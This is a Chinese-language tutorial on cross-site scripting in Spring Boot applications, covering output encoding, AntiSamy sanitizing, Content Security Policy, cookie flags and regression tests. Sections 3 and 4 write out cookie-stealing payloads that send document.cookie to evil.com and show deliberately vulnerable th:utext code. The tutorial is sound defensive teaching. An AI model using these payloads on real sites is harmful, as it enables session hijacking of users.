XSS: Spring Boot 应用中的攻击与防护
1. 概述
XSS(跨站脚本攻击)是最常见的网络漏洞之一,多年来一直位列 OWASP Top 10。本文帮助你深入理解三种常见的 XSS 类型,通过实际攻击示例了解其原理,然后应用输出编码、Content Security Policy(CSP)和 Spring Boot 中的 HTTP 头配置等防护技术。读完这篇文章,你将能够自主排查和修复应用中的 XSS 漏洞。
2. XSS 是什么?
XSS 发生在 web 应用允许攻击者将恶意 JavaScript 代码注入到网页中,然后受害者的浏览器执行这段代码就像它是网页的合法部分一样。后果包括:盗取 cookie/session、伪造用户操作、重定向到诈骗页面。
XSS 有 3 种主要类型:
- Reflected XSS:payload 存在于请求中(查询字符串、表单),服务器直接响应而不进行过滤。
- Stored XSS:payload 被存储到数据库(例如评论、个人介绍),之后显示给所有人查看——更危险,因为会影响多个用户。
- DOM-based XSS:payload 不经过服务器,客户端的 JavaScript 读取不安全的数据(URL、localStorage)并直接写入 DOM。
3. Reflected XSS 攻击示例
假设你有一个简单的搜索 endpoint,显示用户输入的关键词:
@Controller
public class SearchController {
@GetMapping("/search")
public String search(@RequestParam String keyword, Model model) {
model.addAttribute("keyword", keyword);
return "search-result";
}
}
Thymeleaf 模板使用 th:utext(未转义的文本)来显示:
<p>搜索结果为:<span th:utext="${keyword}"></span></p>
攻击者向受害者发送此链接:
https://shop.example.com/search?keyword=<script>document.location='https://evil.com/steal?c='+document.cookie</script>
当受害者点击时,浏览器执行脚本,将受害者的 cookie 发送到 evil.com。根本原因:th:utext 渲染原始 HTML,不对特殊字符进行编码。
注意: 仅在你确保 100% 内容是可信 HTML 时使用
th:utext(例如由 admin 通过带 sanitize 的富文本编辑器编写)。默认总是使用th:text。
4. Stored XSS 攻击示例
Stored XSS 更危险,因为 payload 会长期存在于系统中。以评论功能为例:
@Entity
public class Comment {
@Id @GeneratedValue
private Long id;
private String content;
private String authorName;
// getters, setters
}
@PostMapping("/comments")
public String addComment(@RequestParam String content, @RequestParam String authorName) {
Comment comment = new Comment();
comment.setContent(content);
comment.setAuthorName(authorName);
commentRepository.save(comment);
return "redirect:/comments";
}
攻击者发送包含以下内容的评论:
<img src=x onerror="fetch('https://evil.com/steal?c='+document.cookie)">
如果评论页面直接渲染 HTML(不进行编码),所有查看评论页面的人都会被盗取 cookie——不需要点击任何链接。
5. 通过输出编码进行防护
黄金法则:在输出时对正确的上下文(context)中的数据进行编码,而不是在输入时。对于 HTML 上下文,Thymeleaf 在使用 th:text 时默认已进行转义:
<!-- 安全的:自动转义 -->
<p th:text="${comment.content}"></p>
比较结果:
Input: <script>alert('XSS')</script>
Output (th:text): <script>alert('XSS')</script>
Output (th:utext): <script>alert('XSS')</script> <!-- 危险 -->
使用 th:text,浏览器显示原始字符串,不执行脚本。这是第一道也是最重要的防线。
5.1. 在不同的上下文中正确编码
并不是所有输出位置都使用 HTML 编码。例如,当把值插入 JavaScript 属性或 URL 时,你需要不同的编码:
<!-- Context: HTML 属性 -->
<a th:href="@{/profile(id=${user.id})}">查看个人资料</a>
<!-- Context: JavaScript 字符串 - 不能这样做 -->
<script>
var username = '[[${user.name}]]'; // 如果 name 包含 '); alert(1); // 很危险
</script>
如果必须将服务器数据传递到脚本中,请使用 JSON 编码并将其放在 data-* 属性中:
<div id="user-data" th:data-name="${user.name}"></div>
<script>
const name = document.getElementById('user-data').dataset.name;
</script>
这种方法避免了直接在 JavaScript 字符串中进行字符串拼接——这是很多 DOM-based XSS 漏洞的根源。
6. 需要允许富文本时对 HTML 进行 Sanitize
有些合法的情况需要保存 HTML(例如包含粗体、斜体、链接的博客文章)。在这种情况下,你不能对整个内容进行编码,而是需要使用 sanitize 库来白名单安全的标签/属性。
<dependency>
<groupId>org.owasp.antisamy</groupId>
<artifactId>antisamy</artifactId>
<version>1.7.4</version>
</dependency>
@Service
public class HtmlSanitizerService {
private final Policy policy;
public HtmlSanitizerService() throws PolicyException {
this.policy = Policy.getInstance(getClass().getResourceAsStream("/antisamy-policy.xml"));
}
public String sanitize(String rawHtml) throws ScanException, PolicyException {
AntiSamy antiSamy = new AntiSamy();
CleanResults results = antiSamy.scan(rawHtml, policy);
return results.getCleanHTML();
}
}
antisamy-policy.xml 文件定义了标签白名单(<b>、<i>、<a> 的 href 只允许 http/https…)。所有不在白名单中的标签/属性(如 <script>、onerror)在保存到数据库之前被完全删除。
快速测试 sanitize 行为:
@Test
void sanitize_shouldRemoveScriptTag_butKeepSafeFormatting() throws Exception {
HtmlSanitizerService sanitizer = new HtmlSanitizerService();
String dirty = "<p>Hello <b>world</b></p><script>alert(1)</script>";
String clean = sanitizer.sanitize(dirty);
assertThat(clean)
.contains("<p>Hello <b>world</b></p>")
.doesNotContain("<script>");
}
注意: Sanitize 应在 input(保存到数据库之前,防止 payload 通过其他 API 泄露)和 output(渲染之前)两处进行,以实现多层防御(defense in depth)。
7. Content Security Policy (CSP)
CSP 是第二道防线,限制浏览器仅从可信来源运行脚本,即使 XSS payload 通过了编码/sanitize。
@Configuration
public class SecurityConfig {
@Bean
public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
http.headers(headers -> headers
.contentSecurityPolicy(csp -> csp
.policyDirectives(
"default-src 'self'; " +
"script-src 'self'; " +
"style-src 'self' 'unsafe-inline'; " +
"object-src 'none'; " +
"base-uri 'self';"
)
)
);
return http.build();
}
}
指令说明:
default-src 'self':默认仅从同一源加载资源。script-src 'self':仅从你的域运行脚本——完全阻止内联脚本(<script>alert(1)</script>被浏览器拒绝执行,无需判断其是否合法)。object-src 'none':阻止 Flash/插件,一种旧的但仍然存在的攻击向量。
相应的响应头:
Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; object-src 'none'; base-uri 'self';
当攻击者设法将 <img src=x onerror="..."> 注入并通过 sanitize 时,带有 script-src 'self' 的 CSP 将阻止内联事件处理程序(onerror)执行,因为这被视为内联脚本。
7.1. 测试 CSP 不破坏 UI
在生产环境启用严格的 CSP 之前,使用 report-only 模式来监视违规而不阻止:
headers.contentSecurityPolicy(csp -> csp
.policyDirectives("default-src 'self'; script-src 'self'")
.reportOnly()
);
浏览器仅将警告记录到控制台(如果有 report-uri 则发送报告),不阻止资源。根据这些日志,你可以在切换到实际强制执行之前微调策略。
8. 使用 HttpOnly 和 SameSite 保护 Cookie
即使已经阻止了 XSS,你也应该有一个辅助防线:防止脚本读取会话 cookie,以减少 XSS 仍然发生时的损害。
server.servlet.session.cookie.http-only=true
server.servlet.session.cookie.secure=true
server.servlet.session.cookie.same-site=strict
http-only=true:JavaScript(document.cookie)无法读取此 cookie——第 3 节示例中的盗取 cookie 的 payload 将失败。secure=true:cookie 仅通过 HTTPS 发送。same-site=strict:cookie 不随来自其他域的请求一起发送,降低 CSRF 与 XSS 结合的风险。
9. 自动测试来检测基本的 XSS
你可以编写集成测试来检查 endpoint 是否正确转义输出,以防止代码更改时出现回归。
@SpringBootTest(webEnvironment = SpringBootTest.WebEnvironment.RANDOM_PORT)
class SearchControllerXssTest {
@Autowired
private TestRestTemplate restTemplate;
@Test
void search_shouldEscapeScriptTag_inResponseBody() {
String payload = "<script>alert(1)</script>";
ResponseEntity<String> response = restTemplate.getForEntity(
"/search?keyword=" + payload, String.class);
assertThat(response.getBody())
.doesNotContain("<script>alert(1)</script>")
.contains("<script>");
}
}
此测试发送经典的 XSS payload,断言响应体不包含原始 script 标签——如果有,意味着模板在某处错误地使用了 th:utext。
10. 常见错误检查清单
- 对用户数据使用
th:utext、innerHTML或v-html(Vue)而不进行 sanitize。 - 直接在
<script>块中拼接用户数据,而不是通过data-*属性或安全的 JSON。 - 仅在 input 端编码(保存到数据库),忘记在 output 端再次编码——如果改变显示上下文(例如导出为 CSV、渲染 PDF),来自数据库的“干净”数据在新上下文中仍可能很危险。
- 启用过于宽松的 CSP(
script-src *或含有unsafe-inline)导致 CSP 无法阻止 XSS。 - 忘记为会话 cookie 设置
HttpOnly——即使在其他地方已进行输出编码,XSS 攻击者仍然可以获取 cookie。 - 信任客户端验证(JavaScript)而不在服务器端重新验证/编码——客户端验证容易被绕过。
注意: 不要自己写正则表达式来“过滤” HTML 标签(例如用正则删除
<script>)。攻击者总能找到绕过的方式(<ScRiPt>、<svg/onload=...>、Unicode 编码等)。应使用已验证的 sanitize 库,如 AntiSamy 或 OWASP Java HTML Sanitizer。
11. 结论
XSS 并不是一个难以理解的漏洞,但容易被忽视,因为它隐藏在每个输出用户数据的地方。有效的防护需要多个层次:在渲染时对正确的上下文进行编码(优先使用 th:text 而不是 th:utext)、在必须允许富文本时使用白名单 sanitize、启用 CSP 来阻止陌生脚本即使 payload 通过了、为 cookie 设置 HttpOnly/Secure/SameSite 以减少 XSS 发生时的损害。为所有接收用户输入的 endpoint 编写自动化测试来检查转义——这是防止代码更改时回归的最便宜的方法。